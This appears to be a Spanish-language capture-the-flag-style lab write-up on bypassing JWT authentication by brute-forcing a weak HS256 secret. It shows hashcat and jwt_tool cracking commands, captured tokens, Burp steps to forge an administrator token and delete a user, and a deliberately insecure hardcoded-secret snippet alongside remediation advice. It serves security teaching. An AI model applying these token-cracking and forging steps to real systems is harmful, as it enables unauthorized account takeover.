← Writeups

JWT authentication bypass via weak signing key

Brute force de la clave de firma HS256 con hashcat (-m 16500) y rockyou: recuperado el secreto 'secret1', se firma un token de administrador con JWT Editor y se elimina a carlos.

Target Overview & Vulnerability Summary

El servidor usa JWT para las sesiones y firma los tokens con un secreto HMAC extremadamente débil (HS256). Al ser un secreto simétrico de baja entropía, es vulnerable a brute force offline con una wordlist de secretos comunes. Recuperada la clave de firma, se puede firmar cualquier token modificado y elevar privilegios a administrator.

Campo Valor
Severidad Alta (bypass de autenticación → GET /admin y eliminación de carlos)
Endpoint vulnerable POST /login (emisión del JWT HS256), GET /admin
Root cause Clave de firma HMAC de baja entropía (predecible por wordlist) para firmar y verificar tokens

Technical Breakdown & Exploitation Flow

Al iniciar sesión con wiener:peter mediante un POST /login, la respuesta devuelve el JWT en la cookie session:

HTTP/2 302 Found
Location: /my-account?id=wiener
Set-Cookie: session=eyJraWQiOiIxMGI5MGQzNi00MWNkLTQxYWUtOTVkOC00ZGViZGZkMGE2ZWIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1NzE5OTAwNiwic3ViIjoid2llbmVyIn0.ElU8qAgh_XyDmKJSLCQPoOt0G7C9pAcXffY8kz5seeE; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

El header declara alg: HS256: la misma clave simétrica firma y verifica.

Paso 1 — Identificar el módulo de hashcat para JWT

hashcat -h | grep -i jwt

Paso 2 — Brute force del secreto con hashcat

El módulo 16500 corresponde a JWT (HS256). Ataque de diccionario con rockyou.txt:

hashcat -a 0 -m 16500 eyJraWQiOiI2MzIwYzUyOS02ZjNhLTQyMWEtYmY3NC0zYzg4ZWFiZjJjNzUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcxNzQ1MTI3Niwic3ViIjoid2llbmVyIn0.OzQHzaGE4xN3q5acIT-Wboc7JevVN64zNiZE1dH7WOo /usr/share/wordlists/rockyou.txt

Resultado: la clave de firma es secret1.

Paso 3 — Alternativa con jwt_tool

La herramienta Python jwt_tool.py realiza el mismo crackeo con los parámetros -C (crack) y -d (diccionario):

python3 jwt_tool.py eyJraWQiOiI2MzIwYzUyOS02ZjNhLTQyMWEtYmY3NC0zYzg4ZWFiZjJjNzUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcxNzQ1MTI3Niwic3ViIjoid2llbmVyIn0.OzQHzaGE4xN3q5acIT-Wboc7JevVN64zNiZE1dH7WOo -C -d /usr/share/wordlists/rockyou.txt

Paso 4 — Firmar el token de administrador

En Burp Suite, enviar una request que contenga el JWT a Repeater y usar la extensión JSON Web Token con Recalculate Signature, asignando la password secret1 como clave de firma y modificando el claim sub a administrator.

Alternativa con JWT Editor:

  1. Usar Burp Decoder para codificar secret1 en base64.
  2. En la pestaña principal de JWT Editor: New Symmetric Key → Generate → modificar el campo k por el valor base64 de secret1 → OK.
  3. En Repeater, en la sub-tab de la extensión, usar Sign seleccionando la clave simétrica creada, con la opción "don't modify header" activada.
  4. Modificar sub a administrator y enviar.

Prestar atención a la ruta de la GET request: probar inicialmente /my-account sin parámetros o /admin directamente, para no interpretar la respuesta del perfil wiener. Con acceso a /admin, enviar DELETE /admin?username=carlos.

Root Cause Analysis

La clave de firma HMAC es de baja entropía y está incluida en wordlists públicas (rockyou.txt). Un atacante con acceso a un único JWT válido puede crackear el secreto offline (sin interactuar con el servidor) y luego firmar cualquier payload:

// defectuoso: secreto estático y predecible en producción
secret := "secret1"
sig, _ := hmac.New(sha256, secret)

La firma HS256 es un MAC: quien conoce el secreto puede crear tokens válidos. Un secreto corto o común reduce el espacio de búsqueda a millones de candidatos.

Secure Remediation

  • Usar secretos HMAC aleatorios de al menos 256 bits (32 bytes) generados con un CSPRNG y almacenados en un gestor de secretos, nunca hardcodeados:
secret, err := secrets.Get("jwt.hmac.key") // rotado y nunca en código
sig, _ := hmac.New(sha256, []byte(secret))
  • Preferir claves asimétricas (RS256/ES256/EdDSA): el secreto de firma (privada) nunca viaja al cliente, eliminando el vector de brute force offline desde un único token.
  • Establecer rotación de claves y detectar firmas con secretos conocidos (denylist de wordlist).
  • Validar exp, iss y aud además de la firma.